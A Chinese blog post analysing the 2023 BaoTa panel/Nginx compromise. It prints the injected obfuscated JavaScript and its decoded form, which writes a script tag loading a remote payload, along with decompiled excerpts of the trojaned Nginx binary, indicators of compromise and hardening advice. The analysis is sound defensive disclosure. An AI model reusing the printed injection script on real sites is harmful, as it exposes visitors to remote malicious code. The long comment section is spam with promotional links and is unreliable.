宝塔 Nginx被挂马症状以及解决方法

chenvle 2023-04-23 PM 2782℃ 44条

事件经过

最近宝塔面板疑似出现重大安全漏洞。遭到攻击的服务器,Nginx会自动检测header中accept字段是否包含Gzip。如果包含,则会向目标页面中加入一段JS引用,以下两张图来自 HostLoc 中的一篇帖子:

未开启Gzip
1.png

开启Gzip
2.png

深度剖析(1)

JavaScript代码解析

插入的这段JS,可以通过解码获得,原文为以下内容:

var _0xd4d9=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x2E\x6D\x73\x73\x74\x61\x74\x69\x63\x2E\x6E\x65\x74\x2F\x6D\x61\x69\x6E\x33\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x61\x73\x73\x65\x74\x73\x2F\x74\x65\x6D\x70\x6C\x61\x74\x65\x2F\x68\x65\x61\x64\x2F\x61\x64\x2E\x74\x6D\x70\x6C\x5F\x61\x39\x62\x37\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];functionsetc(_0x64d8x2,_0x64d8x3,_0x64d8x4){var _0x64d8x5= new Date();_0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]()+ _0x64d8x4); document[_0xd4d9[2]]= _0x64d8x2+ _0xd4d9[3]+ _0x64d8x3+ _0xd4d9[4]+ _0x64d8x5[_0xd4d9[5]]()}setc(_0xd4d9[6],_0xd4d9[7],360);document[_0xd4d9[9]](unescape(_0xd4d9[8]));

这段代码中声明了一个长度为 10 的数组,并且包含了关键字符 「Write」与 「"%3Cscript src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'%3E%3C/script%3E"」,通过对它解密,我们可以得到以下内容:

var _0xd4d9 = ["getMinutes", "setMinutes", "cookie", "=", ";expires=", "toUTCString", "waf_sc", "5889647726", "%3Cscript src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'%3E%3C/script%3E", "write"];function setc(_0x64d8x2, _0x64d8x3, _0x64d8x4) { var _0x64d8x5 = new Date(); _0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]() + _0x64d8x4);document[_0xd4d9[2]] = _0x64d8x2 + _0xd4d9[3] + _0x64d8x3 + _0xd4d9[4] + _0x64d8x5[_0xd4d9[5]]()}setc(_0xd4d9[6], _0xd4d9[7], 360);document[_0xd4d9[9]](unescape(_0xd4d9[8]));

利用 document.write ,向页面中插入:

<script src="https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js"></script>

有趣的是,这段JS目前屏蔽了海外访问,我这里使用新加坡代理访问无果,国内正常访问,可见这段代码非常针对国内的用户:
333.png

深度剖析(2)

Nginx感染分析

由于目前宝塔官方并没有说明目前宝塔面板是否存在0day漏洞,所以我们只能将目光瞥向Nginx,我们将这份被感染的Nginx文件拖到IDA中反编译分析一下。

我们通过 「ALT + B」搜索关键字符串「systemd-private-56d86f7d8382402517f3b5-jP37xx」,这个文件就是由入侵者所释放的文件,也是上文中「JavaScript代码解析」 所分析的文件。

通过定位,我们大致是来到了这个函数 「__int64 __fastcall sub_4BE051(_QWORD a1, const char a2)」

if ( ngx_strcasestrn(v7, "waf_sc=5889647726", 16LL) )break;

这里的 “waf_sc”的内容,恰巧就对应了JavaScript中的 「_0xd4d9[6]」和 「_0xd4d9[7]」

444.png
555.png

往下查阅后,我们就能看到以下内容:

if ( a1[99] && a1[98] ){  if ( ngx_strcasestrn(a2, "admin", 4LL)     || ngx_strcasestrn(a2, "user", 3LL)     || ngx_strcasestrn(a2, "manager", 6LL)     || ngx_strcasestrn(a2, "api", 2LL)     || ngx_strcasestrn(a2, "config", 5LL)     || ngx_strcasestrn(a2, "login", 4LL)     || ngx_strcasestrn(a2, 7689484LL, 3LL)     || ngx_strcasestrn(a2, ".xml", 3LL)    || ngx_strcasestrn(a2, ".css", 3LL) )   {     sprintf(v11, "return 3 url:%s method:%d", a2, a1[122]);     sub_4BDFE1(v11);     return 3LL;    }    else    {     v9 = access("/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av", 0);      result = 6LL;      if ( v9 != -1 )      {        v10 = access("/var/tmp/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av", 0) == -1;        result = 7LL;        if ( !v10 )           return 0LL;        }      }    }    else   {       sub_4BDFE1("return 2");       return 2LL;     }

从这里,我们就能很清楚的看到了, 「v9」和 「v10」这两个变量应该就对应了恶意代码,通过access方式读入文件。

按照被感染后的代码逻辑,应该是先判断是否包含以下字符串,没有就输出恶意代码。

'admin' 'user' 'manager' 'api' 'config' 'login' '/var/tmp/msglog.txt' '.xml' '.css'

关于 「ngx_strcasestrn」函数的用法,大家在网上也能够搜得到。

这里判断,猜测是为了能让网页的JS文件能够正常的加载,并且跳转到目标页面,毕竟像这种「api」目录,可能是以 application/json 这种形式传递数据。

一些谣言 · 辟谣
关于网上误传nginxBak文件为木马
666.png

nginxBak文件是当在面板更新nginx时,面板自动备份的一份nginxBak文件,以防止更新出现异常后无法进行恢复之前的nginx版本。文件大小不一致是因为安装方式的不同,极速安装包的安装大小一般都为5M,编译方式安装的大小大约为10M以上,而更新走的是编译方式更新,以上nginxBak并非挂马文件。

目前已知木马特征
官方排查命令
执行下述命令,如果有输出内容说明服务器已被挂马,请及时联系宝塔官方。

curl -sSO http://download.bt.cn/tools/w_check.py && btpython w_check.py && rm -rf w_check.py

777.png

已知木马特征
明显现象:访问自己的网站跳转到其他非法网站。

如果出现了上面的现象,排查是否符合下面的特征:

1、使用无痕模式访问目标网站的js文件,内容中包含:_0xd4d9 或 _0x2551 或 _0xb2ce 关键词的。

2、面板日志、系统日志都被清空过的。

3、/www/server/nginx/sbin/nginx 被替换的,或存在 /www/server/nginx/conf/btwaf/config 文件的。

4、之前安装的nginx存在 /www/server/panel/data/nginx_md5.pl 文件,可与现有文件进行比较确认是否被修改。

安全建议

根据宝塔官方建议:“如果您担心面板存在风险,可以登录终端执行 bt stop 命令停止面板服务(开启命令是 bt restart ),停止面板服务不会影响您网站的正常运行。”还可以采取下列措施进行面板加固:
1、升级面板到最新版,已经是最新版的,在首页修复面板,并开启BasicAuth认证,或开启动态口令认证(增强安全性)。

2、nginx升级到当前主版本号的最新子版本,如1.22.0升级到1.22.1,已经是最新版的,请卸载重装。

3、因生产需要暂时无法升级面板或nginx的,开启BasicAuth认证,有条件的设置授权IP。

5、【企业版防篡改-重构版】插件可以有效防止网站被篡改,建议开启并设置root用户禁止修改文件(需要使用时再放开),另外,将nginx关键执行目录(/www/server/nginx/sbin)锁住。

6、【宝塔系统加固】插件中的【关键目录加固】功能,可以将nginx关键执行目录(/www/server/nginx/sbin)锁住,此目录在正常使用中不会有任何修改的行为,除了重装以外其他修改行为均可视为被篡改,所以将它锁上。

评论啦~



已有 44 条评论


  1. ulyrrckzbq
    ulyrrckzbq

    这篇文章不错!

    回复 2025-03-07 01:49
  2. jcoqkhmeki
    jcoqkhmeki

    这篇文章不错!

    回复 2025-03-07 00:42
  3. aarmecttdh
    aarmecttdh

    这篇文章不错!

    回复 2025-03-07 00:27
  4. xuamnbtghn
    xuamnbtghn

    这篇文章不错!

    回复 2025-03-06 23:20
  5. vvvdcdhsnv
    vvvdcdhsnv

    这篇文章不错!

    回复 2025-03-06 23:05
  6. tasgunoqes
    tasgunoqes

    文章深入浅出,既有深度思考,又不乏广度覆盖,令人叹为观止。

    回复 2025-03-04 15:58
  7. dzdmdkcjlo
    dzdmdkcjlo

    作者的观点新颖且实用,让人在阅读中获得了新的思考和灵感。

    回复 2025-03-04 15:48
  8. cvzaslyxvf
    cvzaslyxvf

    文章的叙述风格独特,用词精准,让人回味无穷。

    回复 2025-03-04 15:32
  9. metjgyumel
    metjgyumel

    作者以简洁明了的语言,传达了深刻的思想和情感。

    回复 2025-03-04 15:14
  10. kfpxwswsye
    kfpxwswsye

    情感真挚自然,字里行间传递出强烈的感染力。

    回复 2025-03-02 17:37
  11. cyjpjsgpsz
    cyjpjsgpsz

    文章紧扣主题,观点鲜明,展现出深刻的思考维度。

    回复 2025-03-02 17:37
  12. lhtcxxbopl
    lhtcxxbopl

    文字流畅如丝,语言优美动人,读来令人心旷神怡。

    回复 2025-03-02 17:04
  13. tferddfgdj
    tferddfgdj

    文章中的实用建议和操作指南,让读者受益匪浅,值得珍藏。

    回复 2025-03-02 16:44
  14. xvbaruthmz
    xvbaruthmz

    以小见大,从平凡事物中提炼普世价值。

    回复 2025-03-01 11:05
  15. xdghghofwy
    xdghghofwy

    文章已具雏形,需进一步聚焦核心问题。

    回复 2025-03-01 08:18
  16. bojehpckti
    bojehpckti

    若能弱化说教语气,传播效果会更好。

    回复 2025-03-01 07:54
  17. rvzxlwubtb
    rvzxlwubtb

    建议提出分阶段实施路径,增强可行性。

    回复 2025-03-01 05:16
  18. owlhagmnbp
    owlhagmnbp

    ?未来展望类?

    回复 2025-03-01 05:16
  19. tozlqbfdey
    tozlqbfdey

    ?未来展望类?

    回复 2025-03-01 03:48
  20. tgxofgxcrt
    tgxofgxcrt

    部分语句稍显冗长,可精简以增强节奏感。

    回复 2025-03-01 03:16
  21. wnuxfxvbmi
    wnuxfxvbmi

    论点鲜明,论据链环环相扣,论证有力。

    回复 2025-03-01 01:57
  22. gfmayaxycu
    gfmayaxycu

    存在主义视角的介入提升了思想维度。

    回复 2025-02-28 22:20
  23. dsprszcmas
    dsprszcmas

    文献引用规范,学术态度严谨,值得借鉴。

    回复 2025-02-28 22:08
  24. hvfnhvkbgn
    hvfnhvkbgn

    若能补充常见问题解答,会更具实用性。

    回复 2025-02-28 21:58
  25. bidlxlmnkw
    bidlxlmnkw

    瑕不掩瑜,稍加打磨必成佳作。

    回复 2025-02-28 21:33
  26. mxejkjkvpg
    mxejkjkvpg

    结论升华部分可联系更高维度价值观。

    回复 2025-02-28 21:21
  27. tmlknosyuq
    tmlknosyuq

    隐喻层次丰富,留给读者想象空间。

    回复 2025-02-28 21:07
  28. rhhquvokxt
    rhhquvokxt

    存在主义视角的介入提升了思想维度。

    回复 2025-02-28 20:54
  29. guacllhmai
    guacllhmai

    以终为始的思考方式为行业指明方向。

    回复 2025-02-28 20:34
  30. gykriucanw
    gykriucanw

    创新略显不足,可尝试引入多元视角。

    回复 2025-02-28 20:19
  31. nwasyxuppe
    nwasyxuppe

    文字流畅如丝,语言优美动人,读来令人心旷神怡。

    回复 2025-02-28 18:40
  32. ytnbnnsegt
    ytnbnnsegt

    作者对主题的挖掘深入骨髓,展现了非凡的洞察力和理解力。

    回复 2025-02-28 16:36
  33. uflopxggfx
    uflopxggfx

    作者的才华横溢,让这篇文章成为了一篇不可多得的艺术品。

    回复 2025-02-28 16:19
  34. kpsbarxhhr
    kpsbarxhhr

    文化差异分析可再深化以避免误读。

    回复 2025-02-28 16:19
  35. hnpfyzfamt
    hnpfyzfamt

    多语种文献的引用彰显学术包容性。

    回复 2025-02-28 16:19
  36. jfkcvxzryj
    jfkcvxzryj

    语言简洁明快,用词精准,毫无赘余。

    回复 2025-02-28 15:32
  37. bkyfuspuye
    bkyfuspuye

    ?语言类评语?

    回复 2025-02-28 15:32
  38. tkpefhvvwz
    tkpefhvvwz

    情感真挚自然,字里行间传递出强烈的感染力。

    回复 2025-02-28 15:32
  39. pbdxfubbbq
    pbdxfubbbq

    哈哈哈,写的太好了https://www.lawjida.com/

    回复 2025-01-06 14:54
  40. xqlgnvvivc
    xqlgnvvivc

    哈哈哈,写的太好了https://www.lawjida.com/

    回复 2025-01-06 14:54
  41. syzyjvaywi
    syzyjvaywi

    你的才华让人瞩目,期待你的更多文章。 http://www.55baobei.com/xbf5UGOdh2.html

    回复 2024-12-08 18:52
  42. quhiugsdin
    quhiugsdin

    《加油吧威基基第二季》韩国剧高清在线免费观看:https://www.jgz518.com/xingkong/56581.html

    回复 2024-12-08 04:08
  43. ailceitczv
    ailceitczv

    博主太厉害了!

    回复 2024-11-14 03:45
  44. wckkflwekw
    wckkflwekw

    真棒!

    回复 2024-11-14 02:10